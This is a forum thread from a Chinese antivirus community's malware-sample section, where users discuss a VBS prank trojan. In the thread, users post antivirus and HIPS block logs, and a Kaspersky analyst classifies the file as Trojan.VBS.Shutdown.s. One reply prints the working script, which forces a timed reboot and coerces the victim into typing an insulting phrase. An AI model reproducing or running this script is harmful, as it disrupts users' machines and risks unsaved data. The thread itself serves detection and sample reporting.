卡饭茶舍 | 软件下载专区 | HIPS专区 | 防火墙专区 | 病毒样本区 | 国内杀软专区 | 国外杀软专区 | 卡饭计算机安全软件下载中心
免费的安全盛宴 | 关于安全软件的12个谣言和误会~ 卡巴官方最新正式版 | 官方最新测试版帮助他人,快乐自己 | 助人者,人助之91款国外杀毒软件官方介绍 附优秀文章
论坛常见问题解答 | 相逢在论坛从杀毒软件到文化 | 我们为什么要装防火墙hips新手入门 | 卡饭HIPS教程集合病毒样本区 | 费尔区
 15 12
发新话题
打印

[病毒样本] 过红伞,过微点的一个可疑文件

过红伞,过微点的一个可疑文件

右键扫描没反应,微点直接过,打开后,自动关机,建压缩包也自动关机了一次(解压密码:infected)
附件: 您所在的用户组无法下载或查看附件




又见这个VBS...
复制内容到剪贴板
代码:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""我是SB,我爱你,不喊我是SB,我爱你就一分钟关你机,不信,试试···"" ",0 ,true  
dim a
do while(a <> "我是SB,我爱你")
a = inputbox ("我是SB,我爱你,就不关机,快撒,喊 ""我是SB,我爱你"" ","喊不喊","不喊",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早喊不就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true  
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,真过瘾"




TOP

2008-08-16 18:08:38    运行应用程序      操作:阻止
进程路径:C:\WINDOWS\System32\WScript.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c shutdown -r -t 60 -c "我是SB,我爱你,不喊我是SB,我爱你就一分钟关你机,不信,试试···"
触发规则:所有程序规则->*





又是一个搞笑VBS……
Kaspersky miss
TO KL


TOP

查不出但防得住

mcafee后台自动拦截:
2008-8-16 18:15:30
已由访问保护规则禁止
AD 禁止在本机执行可疑的脚本文件
已阻止的操作: 执行

(这个脚本试图调用很多系统核心模块)

[ 本帖最后由 小邪邪 于 2008-8-16 18:19 编辑 ]
附件: 您所在的用户组无法下载或查看附件


TOP

Hello,

####.vbe_ - Trojan.VBS.Shutdown.s

New malicious software was found in this file. It's detection will be included in the next update. Thank you for your help.

Please quote all when answering.

--
Best regards, Vyacheslav Zakorzhevsky
Virus analyst, Kaspersky Lab.
e-mail: newvirus@kaspersky.com
http://www.kaspersky.com/

http://www.kaspersky.com/virusscanner - free online virus scanner.
http://www.kaspersky.com/helpdesk.html - technical support.



> Attachment: ????.rar


TOP

1/0

RS20.57.52未杀!


中国剑盟社区病毒样本区:http://bbs.janmeng.com/forumdisplay.php?fid=109
个人教育博客:http://bub443worn905.blog.163.com/edit/(欢迎光临)

TOP

不让调用cmd就哑火了~

附件: 您所在的用户组无法下载或查看附件


TOP

MISS,已上报


卡巴斯基病毒上报邮箱:newvirus@kaspersky.com

TOP

运行后卡巴 2009 提示:
附件: 您所在的用户组无法下载或查看附件


TOP

 15 12
发新话题
卡饭论坛